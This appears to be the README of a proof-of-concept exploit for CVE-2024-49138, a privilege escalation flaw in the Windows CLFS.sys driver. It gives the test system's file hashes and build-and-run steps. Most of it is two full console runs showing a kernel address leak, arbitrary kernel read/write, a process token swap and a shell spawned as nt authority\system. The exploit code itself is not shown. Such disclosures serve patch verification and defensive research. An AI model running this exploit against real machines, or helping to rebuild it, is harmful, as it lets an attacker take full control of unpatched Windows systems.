Proof of Concept that exploits CVE-2024-49138 in CLFS.sys.
CrowdStrike detected the vulnerability actively exploited by threat actors.
Tested on Windows 11 23h2.
A thorough analysis will be provided in a detailed blog post.
Below the hash of the ntoskrnl.exe and clfs.sys that were used to test the POC.
PS C:\Windows\System32\drivers> Get-FileHash .\clfs.sys
Algorithm Hash Path
--------- ---- ----
SHA256 B138C28F72E8510F9612D07D5109D73065CED6CBBF8079A663A1E0601FE0FBAA C:\Windows\System32\drivers\c...
PS C:\Windows\System32\drivers>
PS C:\Windows\System32> Get-FileHash .\ntoskrnl.exe
Algorithm Hash Path
--------- ---- ----
SHA256 0CE15480462E9CD3F7CBF2D44D2E393CF5674EE1D69A3459ADFA0E913A7A2AEB C:\Windows\System32\ntoskrnl.exe
PS C:\Windows\System32>
Compile x64 Release version.
Run and get a system shell.
PS C:\Users\IEUser\Desktop> whoami
windows11\ieuser
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF7CDB89080
hResource = 0x00007FF7CDB890A0
pResourceData = 0x00007FF7CDB890A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80339800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FFFAF0EFB40
NtWriteVirtualMemory = 0x00007FFFAF0EFAA0
pcclfscontainer = 0x0000000002100000
address_to_write = 0xFFFFC201424CC2B2
Process priority set to REALTIME_PRIORITY_CLASS.
Thread priority set to the highest level: TIME_CRITICAL.
triggering vuln...CreateLogFile failed with error 6601
Process priority set to NORMAL_PRIORITY_CLASS.
Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.
vuln triggered
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFC201423EC578
systemtoken = 0xFFFFD401F501C6E9
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
Microsoft Windows [Version 10.0.22631.2861]
(c) Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>whoami
nt authority\system
C:\Users\IEUser\Desktop>
Output of second exploit in second branch.
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF780DDA080
hResource = 0x00007FF780DDA0A0
pResourceData = 0x00007FF780DDA0A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80259800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FF9B750FB40
NtWriteVirtualMemory = 0x00007FF9B750FAA0
CreateThread returned successfully
spawned thread sleeping...pcclfscontainer = 0x0000000002100000
ppfileObject = 0x0000000002100030
pfileObject = 0x0000000002100130
pDeviceObject = 0x0000000002100230
pdriverObject = 0x0000000002100330
pDriverFuction = 0x00000000021003C8
driverFunction = 0xFFFFF80259FF06A0
address_to_write = 0xFFFFAB00027682B2
file opened successfully
triggering vuln...
AddLogContainer failed with error 6643
hijacking execution flow. Wait 15 seconds...
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFAB0003A6A578
systemtoken = 0xFFFFC2084BC1C6E6
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
